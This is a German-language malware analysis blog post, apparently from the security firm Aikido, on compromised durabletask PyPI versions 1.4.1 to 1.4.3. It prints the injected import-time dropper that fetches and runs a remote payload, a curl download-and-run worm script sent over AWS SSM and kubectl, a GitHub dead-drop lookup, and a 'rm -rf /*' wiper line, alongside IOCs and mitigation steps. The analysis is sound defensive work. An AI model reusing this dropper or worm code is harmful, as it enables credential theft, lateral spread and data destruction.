Aikido

Microsofts durabletask-Paket auf PyPi kompromittiert. Mini Shai Hulud schlägt wieder zu... wieder!

Verfasst von
Raphael Silva

Wir haben drei bösartige Versionen von durabletask auf PyPI identifiziert, 1.4.1, 1.4.2, und 1.4.3, die einen Dropper enthalten, der direkt in die Python-Quelldateien des Pakets injiziert wurde. Wenn eine Entwickelnde eine dieser Versionen installiert und die Bibliothek importiert, ruft der Dropper stillschweigend eine Second-Stage-Payload von einer drei Tage alten C2-Domain ab und führt sie aus.

Diese zweite Stufe ist ein voll ausgestatteter Infostealer und Wurm. Er sammelt Anmeldeinformationen von jedem wichtigen Cloud-Anbieter, Passwort-Manager und Entwickelnden-Tool, das er finden kann, verschlüsselt die Ergebnisse mit einem Angreifer-kontrollierten RSA-Schlüssel und sendet sie an C2. Wenn die Maschine in AWS läuft, verbreitet sie sich über SSM auf andere EC2-Instanzen. Wenn sie in Kubernetes läuft, verbreitet sie sich über kubectl exec. Und wenn es israelische oder iranische Systemeinstellungen erkennt, besteht eine 1-zu-6-Chance, dass es Audio abspielt und dann rm -rf /*.

Dies riecht nach weiteren Machenschaften von TeamPCP, aber wir können uns im Moment nicht sicher sein.

Was geschah

durabletask ist ein Python-Paket für das Durable Task Framework, eine Workflow-Orchestrierungsbibliothek, die mit Microsoft Azure verbunden ist. Es ist die Art von Paket, die man in Cloud-nativen Python-Umgebungen erwarten würde, die Automatisierung, CI/CD oder Azure-verbundene Workloads ausführen, was genau die Art von Umgebung ist, auf die diese Kampagne abzielt.

Beginnend mit Version 1.4.1, wurde die __init__.py des Pakets mit einem Dropper versehen, der beim Import ausgeführt wird:

import os
import platform
import subprocess
import urllib.request


if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        with open(os.devnull, "w") as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except Exception:
        pass

Der Dropper ist nur für Linux, völlig geräuschlos und läuft in einem abgetrennten Prozess, der den Tod des übergeordneten Prozesses überlebt. Das breite except: pass schluckt alle Fehler. Eine Entwickelnde, die import durabletask zum ersten Mal überhaupt nichts sehen würde.

Die Versionen erzählen eine Geschichte

Alle drei Versionen enthalten denselben Dropper-Code, doch jede Veröffentlichung injizierte ihn in mehr Dateien. Dies ist eine bewusste Strategie, um die Wahrscheinlichkeit zu maximieren, dass mindestens ein Importpfad die Payload auslöst.

Version Infizierte Dateien
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

Mit Version 1.4.3, wird der Dropper von fünf separaten Einstiegspunkten ausgelöst. Eine Entwickelnde, die nur from durabletask.entities import ... ist immer noch kompromittiert. Die C2-Domain, die Payload-URL und die Dropper-Logik sind in allen drei Versionen Byte für Byte identisch; die einzige Änderung ist die Abdeckung.

Die Payload: rope.pyz

Der Dropper ruft ab rope.pyz von hxxps://check.git-service[.]com/rope.pyz. Die Domain wurde am 16. Mai 2026 registriert, drei Tage vor dieser Analyse. Sie wird über NameSilo mit datenschutzgeschützter Registrierung aufgelöst.

rope.pyz ist eine Python-Zipapp: ein ZIP-Archiv mit einem __main__.py Einstiegspunkt, den Python direkt ausführen kann. Es enthält 19 Dateien in einem strukturierten Modul-Layout.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Bevor etwas geschieht, __main__.py führt vier Prüfungen durch:

  1. Plattform — beendet sich, wenn es nicht Linux ist.
  2. Locale — beendet, wenn $LANG beginnt mit ru. Die Payload wird auf Systemen mit russischem Locale nicht ausgeführt.
  3. Anzahl der CPUs — beendet, wenn os.cpu_count() <= 2. Dies beendet die meisten automatisierten Sandboxes.
  4. Abhängigkeiten — installiert stillschweigend cryptography via pip, falls nicht vorhanden, mit einem --break-system-packages Fallback.

Erst nachdem alle vier Prüfungen bestanden wurden, wird an das Haupt-Orchestrierungsmodul übergeben.

Der FIRESCALE Dead-Drop

Die Payload kontaktiert zuerst hxxps://check.git-service[.]com/v1/models. Wenn dieser Endpunkt HTTP 200zurückgibt, wird der Antwortkörper als base64-kodiertes Python-Skript behandelt und an roulette.py zur Ausführung übergeben — dies ist der Remote-Aktivierungskanal des Angreifers.

Ist der primäre C2 unerreichbar, greift die Payload auf einen GitHub-basierten Dead-Drop zurück:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

Es durchsucht die Commit-Such-API von GitHub nach der Zeichenfolge FIRESCALE. Jeder übereinstimmende Commit wird auf das Muster überprüft:

FIRESCALE <base64_url>.<base64_signatue>

Die base64-kodierte URL wird nur akzeptiert, wenn ihre RSA-SHA256-Signatur gegen einen festkodierten 4096-Bit-Public-Key verifiziert wird. Das bedeutet, dass nur der Angreifer — der Inhaber des entsprechenden privaten Schlüssels — eine gültige neue C2-Adresse veröffentlichen kann. Die GitHub-Such-API wird zu einem zensurresistenten, kryptografisch authentifizierten Fallback-Kanal. Wird die primäre C2-Domain beschlagnahmt oder sinkholed, kann der Angreifer den Betrieb durch einen einzigen öffentlichen Commit irgendwo auf GitHub wieder aufnehmen.

Was es stiehlt

Die Sammlung läuft parallel über acht Module via ThreadPoolExecutor.

Passwort-Manager. Der Payload zielt auf 1Password, Bitwarden, pass, und gopass. Für jeden gesperrten Vault versucht es, diesen zu entsperren, indem es Umgebungsvariablen nach Mustern wie *PASS*, *SECRET*, und BW_*, Shell-History-Dateien nach bw unlock und op signin -Aufrufen parst und dann die Zeichenfolge "anon" als letzten Ausweg versucht. Wenn es Zugriff erhält, wird alles gedumpt.

Anmeldeinformationsdateien. Über 90 festcodierte Dateipfade werden gelesen. Die Liste ist umfassend: AWS-Anmeldeinformationen, GCP-Standardanmeldeinformationen für Anwendungen, Azure-Zugriffstoken, ~/.kube/config, ~/.vault-token, ~/.ssh/ (jede Datei), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env Dateien im gesamten Home-Verzeichnis, Terraform-State-Dateien (die häufig Klartext-Secrets enthalten) und VPN-Konfigurationen, einschließlich Tailscale-State und WireGuard .conf Dateien.

Die Liste zielt auch speziell auf Tools für die KI-Entwicklung ab: ~/.config/claude/claude_desktop_config.json, ~/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, sowie Konfigurationen für Zed, Continue, Kilo und OpenCode.

Docker. Der Payload fragt den Docker Socket unter /var/run/docker.sock direkt ab, listet alle Container auf und extrahiert deren Umgebungsvariablen. Cloud-Credentials, die als Container-Umgebungsvariablen übergeben werden, sind ein gängiges Muster in Docker-basierten CI/CD-Setups.

AWS. Credentials werden aus Umgebungsvariablen, dann dem EC2 Instance Metadata Service (IMDS) und anschließend aus allen benannten Profilen in ~/.aws/credentials. Für jeden Satz von Credentials listet der Payload gleichzeitig den AWS Secrets Manager und den SSM Parameter Store in allen 19 AWS-Regionen, einschließlich GovCloud, auf. Er ruft jeden Secret-Wert ab, mit WithDecryption: True für SSM. Es listet auch alle SSM-verwalteten EC2-Instanzen für den unten beschriebenen Propagationsschritt auf.

Azure. Der Payload löst Tokens über Client-Credentials, zertifikatbasierte JWT-Assertion, den Azure CLI Token Cache unter ~/.azure/accessTokens.json, oder Azure IMDS (Managed Identity). Mit einem gültigen Token listet es alle Subscriptions, alle Key Vaults in jeder Subscription auf und ruft jedes Secret aus jedem Vault ab.

GCP. Credentials werden aus $GOOGLE_APPLICATION_CREDENTIALS, der Standard-Anmeldeinformationsdatei der Anwendung oder GCP IMDS aufgelöst. Der Payload generiert selbst OAuth2 JWTs und ruft jedes Secret vom GCP Secret Manager ab.

Kubernetes. Der Zugriff wird aufgelöst aus ~/.kube/config in allen Kontexten, von In-Cluster-Service-Account-Tokens oder über kubectl. Wenn kubectl nicht installiert ist, lädt die Payload es vom offiziellen Kubernetes Release CDN nach /tmp/kubectl. Jedes Secret in jedem Namespace und in jedem Kontext wird abgerufen und base64-dekodiert.

HashiCorp Vault. Die Payload löst den Vault-Token aus $VAULT_TOKEN, ~/.vault-token, AppRole-Anmeldeinformationen oder vault print token. Anschließend durchläuft es rekursiv alle KV v1- und v2-Mounts und ruft jeden Secret-Pfad ab. Die SSL-Verifizierung ist deaktiviert, um selbstsignierte interne Vault-Bereitstellungen zu handhaben.

Alle gesammelten Daten werden gzip-komprimiert und mit AES-256-GCM verschlüsselt. Der AES-Schlüssel pro Sitzung wird mit RSA-OAEP-SHA256 unter Verwendung des fest kodierten öffentlichen Operatorschlüssels gewrappt. Nur der Angreifer kann ihn entschlüsseln.

Exfiltration erfolgt über einen dreistufigen Fallback:

  1. POST an hxxps://check.git-service[.]com/api/public/version
  2. POST an eine Mothership-URL, die über den FIRESCALE Dead-Drop aufgelöst wird
  3. Wenn ein gestohlener GitHub-Token in den gesammelten Daten gefunden wird, erstelle ein zufällig benanntes öffentliches GitHub-Repository und lade das verschlüsselte Bundle als results.json

Die GitHub Fallback-Repo-Namen stammen aus einer russischen Folklore-Wortliste: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, und andere. Die Benennung ist kein zufälliges Rauschen – es ist ein stabiler Operator-Fingerabdruck.

Wurm-Propagation

Nach dem Sammeln von Secrets verbreitet sich die Payload.

AWS SSM. Nachdem die EC2-Instanzen während der Credential-Erfassung enumeriert wurden, sendet die Payload einen ssm:SendCommand (unter Verwendung des AWS-RunShellScript Dokuments) an bis zu fünf online befindliche Nicht-Windows-Instanzen:

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

Eine Marker-Datei unter ~/.cache/.sys-update-check verhindert eine erneute Infektion vom selben Host. Die sekundäre Payload-URL hxxps://t.m-kosche[.]com/rope.pyz dient als Fallback, falls der primäre C2 ausgefallen ist.

Kubernetes. Wenn die Payload in einem K8s-Cluster läuft, kubectl execinjiziert dasselbe Download-and-Run-Skript in bis zu fünf laufende Pods, wobei der aktuelle übersprungen wird. Ein separater Marker unter ~/.cache/.sys-update-check-k8s verfolgt die K8s-Propagation unabhängig.

Der Disk-Wiper

Wenn der primäre C2 zurückgibt HTTP 200 von /v1/models, löst die Antwort aus roulette.py. Dieses Modul hat zwei Funktionen: Persistenz installieren und Festplatten löschen.

Persistenz. Die base64-dekodierte C2-Antwort wird geschrieben nach /usr/bin/pgmonitor.py (als root) oder ~/.local/bin/pgmonitor.py (nicht-root) und als systemd-Dienst registriert unter dem Namen pgsql-monitor.service, beschrieben als „PostgreSQL Monitor“. Der Dienst startet bei einem Fehler automatisch neu.

Wiper. Das Modul prüft auf israelische oder iranische Systemeinstellungen, indem es $TZ nach Zeichenketten wie Jerusalem, Tel_Aviv, und Tehran; liest /etc/timezone und /etc/localtime binären Inhalt; und prüft $LANG, $LC_ALL, und $LC_MESSAGES gegen he_IL oder fa_IR. Mit einer Wahrscheinlichkeit von 1:6 führt es aus:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Es lädt eine Audiodatei von hxxps://check.git-service[.]com/audio.mp3, stellt die Systemlautstärke über pactl auf 100 % ein und spielt sie über mpv ab, löscht dann die Festplatte. Die Audiowiedergabe erfolgt absichtlich vor dem Löschen. Dies ist kein automatisierter Hintergrundprozess; der Angreifer aktiviert ihn gezielt pro Opfer, indem er 200 OK vom C2-Check-in zurückgibt.

Erkennung und Mitigation

Wenn Sie installiert haben durabletask 1.4.1, 1.4.2 oder 1.4.3, behandeln Sie den Host als kompromittiert. Die Payload wurde ausgeführt, sobald das Paket importiert wurde.

Überprüfen Sie zuerst die Marker-Datei:

~/.cache/.sys-update-check

Ihre Anwesenheit bestätigt, dass die Wurm-Logik auf diesem Host ausgeführt wurde. Überprüfen Sie ~/.cache/.sys-update-check-k8s separat auf Kubernetes-Verbreitung.

Suchen Sie nach dem Persistenzdienst:

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Blockieren und rotieren Sie:

  • Alle Cloud-Anmeldeinformationen (Credentials), die auf dem betroffenen Host vorhanden sind (AWS, Azure, GCP)
  • Alle SSH-Schlüssel unter ~/.ssh/
  • Alle Kubernetes Service Account Tokens
  • Alle HashiCorp Vault Tokens
  • GitHub Tokens und PATs – und prüfen Sie auf neue öffentliche Repositories mit Namen aus der russischen Folklore, die mit diesen Tokens erstellt wurden
  • npm, pip, und Package Registry Tokens
  • Alles in ~/.docker/config.json
  • Alle Environment Variable Secrets, die auf der Maschine gesetzt wurden
  • Inhalt aller .env Dateien im Home-Verzeichnis
  • Alle Terraform State Files auf dem Host

Wenn der Host in AWS mit SSM-verwalteten Instanzen im selben Konto lief, prüfen Sie AWS CloudTrail auf SendCommand Aktivitäten der kompromittierten Instanz und untersuchen Sie alle Instanzen, die sie kontaktiert hat. Machen Sie dasselbe für Kubernetes: prüfen Sie die Audit-Logs auf exec Befehle, die vom infizierten Pod stammen.

Im Netzwerk-Layer blockieren:

  • check.git-service[.]com
  • t.m-kosche[.]com

Indikatoren für Kompromittierung

Bösartige Pakete:

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hashes:

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Domains und URLs:

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Domain-Registrierung:

  • git-service.com — registriert am 2026-05-16 (3 Tage vor der Analyse), NameSilo, datenschutzgeschützt

Auf dem Opfer erstellte Dateien:

  • /tmp/managed.pyz — initialer Payload-Drop
  • ~/.cache/.sys-update-check — Propagationsmarker (Schlüsselerkennungsartefakt)
  • ~/.cache/.sys-update-check-k8s — Kubernetes-Propagationsmarker
  • /usr/bin/pgmonitor.py oder ~/.local/bin/pgmonitor.py — Persistence-Payload
  • /etc/systemd/system/pgsql-monitor.service oder ~/.config/systemd/user/pgsql-monitor.service — Persistence-Service
  • /tmp/kubectl — heruntergeladenes kubectl binary, falls nicht auf dem Host vorhanden

Kampagnen-Strings:

  • FIRESCALE — Dead-Drop-Beacon-String in der GitHub-Commit-Suche
  • pgsql-monitor.service — Name des Persistence-Service
  • PostgreSQL Monitor — Beschreibung des Persistence-Service, als Tarnung verwendet
  • Repo-Namen aus der russischen Folklore: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOY, und andere

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem angezeigt. Aikido scannt nächtlich neu, aber wir empfehlen, jetzt einen manuellen erneuten Scan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Die Malware-Abdeckung ist im kostenlosen Plan enthalten.

Für zukünftigen Schutz fängt Aikido Safe Chain (Open Source) Paketinstallationsbefehle ab und prüft diese gegen Aikido Intel, bevor etwas ausgeführt wird.

Teilen:

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.